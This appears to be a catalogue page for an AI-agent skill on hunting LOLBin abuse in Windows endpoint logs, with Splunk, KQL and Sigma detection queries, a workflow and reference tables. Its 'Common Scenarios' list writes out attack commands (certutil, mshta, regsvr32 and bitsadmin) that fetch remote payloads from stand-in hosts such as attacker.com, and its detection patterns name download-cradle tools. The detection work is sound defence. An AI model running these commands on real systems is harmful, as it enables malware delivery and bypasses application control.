What it does. Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream	mukul975/Anthropic-Cybersecurity-Skills
Skill file	skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md
License	Apache-2.0 (skill folder LICENSE)
Author	mukul975
Fetched	2026-09-10

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-lolbins-execution-in-endpoint-logs, or copy the skill folder into ~/.claude/skills/hunting-for-lolbins-execution-in-endpoint-logs/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md

SKILL.md (verbatim)

name: hunting-for-lolbins-execution-in-endpoint-logs
description: Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE
  T1218, by analyzing endpoint process-creation logs for suspicious execution patterns
  of legitimate Windows system binaries used for malicious purposes. Use when reviewing
  endpoint process telemetry for LOLBins-based defense evasion or building detections
  for signed-binary proxy execution.
domain: cybersecurity
subdomain: threat-hunting
tags:
- threat-hunting
- lolbins
- living-off-the-land
- endpoint-detection
- process-monitoring
- mitre-t1218
- defense-evasion
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Executable Denylisting
- Execution Isolation
- File Metadata Consistency Validation
- Application Protocol Command Analysis
- Content Format Conversion
nist_csf:
- DE.CM-01
- DE.AE-02
- DE.AE-07
- ID.RA-05
mitre_attack:
- T1046
- T1057
- T1082
- T1083
- T1027

Hunting for LOLBins Execution in Endpoint Logs

When to Use

• When hunting for fileless attack techniques that abuse built-in Windows binaries
• After threat intelligence indicates LOLBin-based campaigns targeting your industry
• When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
• During purple team exercises testing detection of defense evasion techniques
• When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques

Prerequisites

• Sysmon Event ID 1 (Process Creation) with full command-line logging
• Windows Security Event ID 4688 with command-line auditing enabled
• EDR telemetry with parent-child process relationships
• SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
• LOLBAS project reference (lolbas-project.github.io) for known abuse patterns

Workflow

1. Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
2. Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
3. Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with -urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.
4. Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
5. Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
6. Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
7. Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.

Key Concepts

Concept	Description
T1218	System Binary Proxy Execution
T1218.001	Compiled HTML File (mshta.exe)
T1218.003	CMSTP
T1218.005	Mshta
T1218.010	Regsvr32 (Squiblydoo)
T1218.011	Rundll32
T1127.001	MSBuild
T1197	BITS Jobs (bitsadmin.exe)
T1140	Deobfuscate/Decode Files (certutil.exe)
T1059.001	PowerShell
T1059.005	Visual Basic (wscript/cscript)
LOLBAS	Living Off the Land Binaries, Scripts and Libraries project

Tools & Systems

Tool	Purpose
Sysmon	Process creation with command-line and hash logging
CrowdStrike Falcon	EDR with LOLBin detection analytics
Microsoft Defender for Endpoint	Built-in LOLBin abuse detection
Splunk	SPL-based process hunting and anomaly detection
Elastic Security	Pre-built LOLBin detection rules
LOLBAS Project	Reference database of LOLBin abuse techniques
Sigma Rules	Community detection rules for LOLBin abuse

Detection Queries

Splunk -- High-Risk LOLBin Execution

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious

KQL -- Microsoft Sentinel LOLBin Hunting

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma Rule -- Suspicious LOLBin Command Line

title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

Common Scenarios

1. Certutil Download Cradle: certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe used to download malware bypassing proxy filters.
2. Mshta HTA Execution: mshta.exe http://attacker.com/malicious.hta executing remote HTA files containing VBScript or JScript payloads.
3. Regsvr32 Squiblydoo: regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll executing remote SCT files to bypass application whitelisting.
4. Rundll32 DLL Proxy: rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint executing attacker DLLs via legitimate binary.
5. MSBuild Inline Task: msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.
6. BITS Transfer: bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.
7. WMIC XSL Execution: wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.

Output Format

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py
• scripts/process.py

assets/template.md (verbatim)

LOLBins Execution Hunt Template

Hunt Metadata

Field	Value
Hunt ID	TH-LOLBIN-YYYY-MM-DD-NNN
Analyst
Date
Status	[ ] In Progress / [ ] Complete

Hypothesis

Adversaries are abusing legitimate Windows system binaries to execute malicious payloads, download tools, or bypass application control in the environment.

LOLBin Findings

#	Timestamp	Host	User	LOLBin	Command Line	Parent Process	Category	Severity
1

Suspicious Parent-Child Relationships

Parent Process	Child LOLBin	Host	User	Assessment

Network Activity from LOLBins

LOLBin	Host	Destination IP	Destination Port	Domain	Assessment

Recommendations

1. Block: [URLs/IPs contacted by LOLBins]
2. Detect: [New detection rules for observed patterns]
3. Harden: [Application control policy updates]
4. Investigate: [Endpoints requiring forensic analysis]

references/api-reference.md (verbatim)

API Reference — Hunting for LOLBins Execution in Endpoint Logs

Libraries Used

• csv: Parse exported endpoint log CSV files from SIEM or EDR
• python-evtx (Evtx): Parse Windows Sysmon EVTX event logs directly
• re: Regex matching for suspicious command-line patterns

CLI Interface

python agent.py csv --file <csv_path> [--process-col Image] [--cmdline-col CommandLine]
python agent.py evtx --file <evtx_path>

Core Functions

scan_csv_logs(csv_file, process_col, cmdline_col)

Scans CSV-exported endpoint logs for LOLBin process executions with suspicious arguments.

Parameters:

Name	Type	Description
csv_file	str	Path to CSV log file
process_col	str	Column name for process image path (default: Image)
cmdline_col	str	Column name for command line (default: CommandLine)

Returns: dict with total_findings, by_binary counts, by_mitre counts, findings list.

scan_evtx_sysmon(evtx_file)

Parses Sysmon EVTX logs for Event ID 1 (Process Creation) matching LOLBin signatures.

Parameters:

Name	Type	Description
evtx_file	str	Path to Sysmon .evtx file

Returns: dict with total_findings and findings with record IDs, binary names, MITRE IDs.

LOLBins Detected (14 binaries)

certutil.exe, mshta.exe, regsvr32.exe, rundll32.exe, bitsadmin.exe, wmic.exe, msiexec.exe, cmstp.exe, forfiles.exe, pcalua.exe, csc.exe, installutil.exe, msbuild.exe, powershell.exe

Output Format

{
  "total_findings": 12,
  "by_binary": {"powershell.exe": 5, "certutil.exe": 4},
  "by_mitre": {"T1059.001": 5, "T1140": 4},
  "findings": [{"binary": "...", "mitre": "...", "command_line": "..."}]
}

Dependencies

pip install python-evtx

references/standards.md (verbatim)

Standards and References - LOLBins Threat Hunting

MITRE ATT&CK LOLBin Techniques

Technique	Binary	Abuse Pattern
T1218.001	Compiled HTML (hh.exe)	Execute payloads from CHM files
T1218.003	CMSTP	UAC bypass and proxy execution
T1218.005	Mshta	Execute HTA files with scripts
T1218.010	Regsvr32	Squiblydoo - remote SCT execution
T1218.011	Rundll32	Proxy execution of malicious DLLs
T1127.001	MSBuild	Execute inline C#/VB tasks
T1197	Bitsadmin	Stealthy file downloads via BITS
T1140	Certutil	Download and decode files
T1059.001	PowerShell	Script execution and download cradles
T1059.005	Wscript/Cscript	VBScript/JScript execution
T1047	WMIC	Remote execution and XSL script execution
T1053.005	Schtasks	Scheduled task creation for persistence

Top 8 LOLBins by Threat Actor Usage (CrowdStrike Research)

LOLBin	Common Abuse	Detection Priority
PowerShell.exe	Download cradles, encoded commands, AMSI bypass	Critical
Cmd.exe	Script execution, chaining with other LOLBins	Critical
Rundll32.exe	DLL proxy execution from user directories	Critical
Certutil.exe	File download (-urlcache), decode (-decode)	High
Mshta.exe	Remote HTA execution, inline scripts	High
Regsvr32.exe	SCT execution (Squiblydoo), COM object abuse	High
MSBuild.exe	Inline task execution bypassing AppLocker	High
WMIC.exe	Remote process creation, XSL execution	Medium

Suspicious Parent-Child Process Relationships

Parent Process	Child LOLBin	Indicates
winword.exe	mshta.exe	Weaponized Office document
excel.exe	certutil.exe	Macro downloading payload
outlook.exe	powershell.exe	Phishing payload execution
wmiprvse.exe	cmd.exe	WMI-based lateral movement
explorer.exe	regsvr32.exe	User-triggered exploitation
svchost.exe	msbuild.exe	Service-based code execution
w3wp.exe	cmd.exe	Web shell activity

Sysmon Events for LOLBin Detection

Event ID	Description	LOLBin Relevance
1	Process Creation	Primary detection - command line and parent process
3	Network Connection	LOLBin outbound connections (download/C2)
7	Image Loaded	DLLs loaded by LOLBins
11	File Created	Files dropped by LOLBin execution
15	FileCreateStreamHash	Alternate data stream creation
22	DNS Query	DNS resolution from LOLBin processes

references/workflows.md (verbatim)

Detailed Hunting Workflow - LOLBins Execution Detection

Phase 1: Establish LOLBin Baseline

Step 1.1 - Profile Normal LOLBin Usage

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin|wmic)\.exe$")
| stats count by Image CommandLine ParentImage User Computer
| sort -count

Step 1.2 - Identify Standard Parent-Child Relationships

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32)\.exe$")
| stats count by ParentImage Image
| sort -count
| head 50

Phase 2: Hunt for Download Cradles

Step 2.1 - Certutil Download Detection

index=sysmon EventCode=1 Image="*\\certutil.exe"
| where match(CommandLine, "(?i)(-urlcache|-decode|-encode|-verifyctl)")
| table _time Computer User Image CommandLine ParentImage

Step 2.2 - Bitsadmin Transfer Detection

index=sysmon EventCode=1 Image="*\\bitsadmin.exe"
| where match(CommandLine, "(?i)(/transfer|/create|/addfile|/resume)")
| table _time Computer User CommandLine ParentImage

Step 2.3 - PowerShell Download Cradles

index=sysmon EventCode=1 Image="*\\powershell.exe"
| where match(CommandLine, "(?i)(DownloadString|DownloadFile|DownloadData|Invoke-WebRequest|iwr|wget|curl|Start-BitsTransfer|Net\.WebClient)")
| table _time Computer User CommandLine ParentImage

Phase 3: Hunt for Proxy Execution

Step 3.1 - Regsvr32 Squiblydoo

index=sysmon EventCode=1 Image="*\\regsvr32.exe"
| where match(CommandLine, "(?i)(/s.*(/n|/i:))|scrobj\.dll|http")
| table _time Computer User CommandLine ParentImage

Step 3.2 - MSBuild Inline Task Execution

index=sysmon EventCode=1 Image="*\\MSBuild.exe"
| where NOT match(ParentImage, "(?i)(devenv|msbuild|visual studio)")
| where match(CommandLine, "(?i)\\\\(temp|appdata|users|public)")
| table _time Computer User CommandLine ParentImage

Step 3.3 - Mshta Remote Execution

index=sysmon EventCode=1 Image="*\\mshta.exe"
| where match(CommandLine, "(?i)(http|https|javascript|vbscript)")
| table _time Computer User CommandLine ParentImage

Phase 4: Hunt for Unusual Parent Processes

Step 4.1 - Office Applications Spawning LOLBins

index=sysmon EventCode=1
| where match(ParentImage, "(?i)(winword|excel|powerpnt|outlook|onenote)\.exe$")
| where match(Image, "(?i)(cmd|powershell|certutil|mshta|rundll32|regsvr32|wscript|cscript)\.exe$")
| table _time Computer User ParentImage Image CommandLine

Step 4.2 - Web Server Spawning System Binaries

index=sysmon EventCode=1
| where match(ParentImage, "(?i)(w3wp|httpd|nginx|tomcat)\.exe$")
| where match(Image, "(?i)(cmd|powershell|certutil|whoami|net|net1|nltest)\.exe$")
| table _time Computer User ParentImage Image CommandLine

Phase 5: Correlate with Network Activity

Step 5.1 - LOLBin Network Connections

index=sysmon EventCode=3
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|bitsadmin|wscript)\.exe$")
| where NOT cidrmatch("10.0.0.0/8", DestinationIp)
| table _time Computer Image DestinationIp DestinationPort DestinationHostname

Phase 6: Response Actions

1. Block identified malicious URLs and IPs at proxy/firewall
2. Isolate endpoint if active compromise confirmed
3. Collect process memory dump for malware analysis
4. Deploy targeted detection rules for observed patterns
5. Update application control policies to restrict LOLBin abuse

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.